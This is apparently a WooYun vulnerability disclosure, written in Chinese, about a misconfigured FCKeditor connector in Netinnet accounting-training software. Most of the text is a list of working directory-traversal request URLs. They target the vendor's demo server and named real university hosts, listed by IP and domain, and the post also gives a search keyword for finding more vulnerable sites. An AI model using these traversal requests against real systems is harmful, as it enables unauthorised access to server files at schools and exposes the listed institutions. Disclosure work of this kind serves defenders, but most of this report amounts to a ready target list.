WooYun.org

请审核的同志注意，本次提交的漏洞与白帽子nauscript同学提交的 WooYun: 网中网会计实训系统全版本通杀命令执行及目录遍历 不同，望通过~
厦门网中网软件有限公司成立于2005年，是高新技术企业、双软认定企业。公司坐落于厦门软件园二期，办公面积2500平方米。自成立以来，公司专注于财会教学软件的研发，是国内教学软件市场领导企业，在财会专业仿真教学软件领域市场占有率达60%以上，拥有包括北京大学、中国人民大学、厦门大学、东北财经大学、中山大学、山西财政专科学校、四川财经职业技术学院等在内的1000余所院校客户群。其中，财会系列实训软件在国内大中专院校的会计实践教学中起到了重要作用，每年有超过50万学生使用公司的仿真教学软件。
可通过百度关键字：

/netinnet_

搜索到存在漏洞的站点
2个提出的问题都是由于fck编辑器的不正确配置造成的，即只要站点使用了该编辑器，就会存在问题，而且因为使用该套系统的学校，均把该套系统部署在同一台服务器的同一个jboss下，所以，危害比较大。
存在问题的系统版本如下（可能存在遗漏）：
http://demo.netinnet.cn:80/netinnet_cbkj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 成本会计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_cbkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 成本会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_cnsw_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 出纳实务实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_cnsw_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 出纳实务实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_cwfx_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财务分析实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_cwfx_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财务分析实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_cwgl_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财务管理实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_cwgl_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财务管理实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_fdc_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 房地产会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_fwykj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 服务业会计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_glkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 管理会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_jckj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 基础会计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_jckj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 基础会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_jdkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 酒店会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_jpk/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 精品课网站平台(版本1.3)
http://demo.netinnet.cn:80/netinnet_kjfg_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财会分岗实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_lyy_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 旅游业会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_mjfyl_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 非营利机构组织会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_sandtable/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 财会沙盘实训教学平台(版本1.0)
http://demo.netinnet.cn:80/netinnet_sgqy_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 施工企业会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_sjdx_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 审计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_sjdx_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 审计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_spltqy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 商品流通企业会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_swkj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 税务会计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_swkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 税务会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_wmkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 外贸会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_wsbs_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 电子报税模拟教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_wsbs_v60/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 电子报税实训教学平台(版本6.0)
http://demo.netinnet.cn:80/netinnet_wygl_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 物业管理企业会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_yhkj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 银行会计实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_ys_tshy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 预算会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_zjkj2_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 中级会计(综合)实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_zjkj2_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 中级会计（综合）实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_zjkj_v52/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 中级会计(单项)实训教学平台(版本5.2)
http://demo.netinnet.cn:80/netinnet_zjkj_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 中级会计（单项）实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_zxqy_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 中小企业会计实训教学平台(版本5.3)
http://demo.netinnet.cn:80/netinnet_zyks_v13/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308 会计作业平台(版本1.3)
以下案例供复现：
http://202.116.95.7/ 中山大学新华学院
http://202.116.95.7/netinnet_cwgl_v60//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.116.95.7/netinnet_cwgl_v53//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.116.95.7/netinnet_sjdx_v53/FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.116.95.7/netinnet_sjdx_v60//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.116.95.7/netinnet_zjkj_v53//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.116.95.7/netinnet_zjkj_v60//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
例子太多了，不一一列举了
http://219.219.35.4:8080/ 中国矿业大学管理学院会计系
http://219.219.35.4:8080/netinnet_jckj_v53//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://gxyxoa.com:8080/广西银行学校综合实习平台
http://gxyxoa.com:8080/netinnet_cnsw_v61//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://202.100.91.165/ 兰州大学网络教育学院财会综合实习平台会计实习中心
http://202.100.91.165/netinnet_jckj_v60//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308
http://yad.cj.hbvtc.edu.cn/ 湖北职业技术学院财经学院
http://yad.cj.hbvtc.edu.cn/netinnet_cwgl_v60//FCKeditor/editor/filemanager/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../../&uuid=1425017488308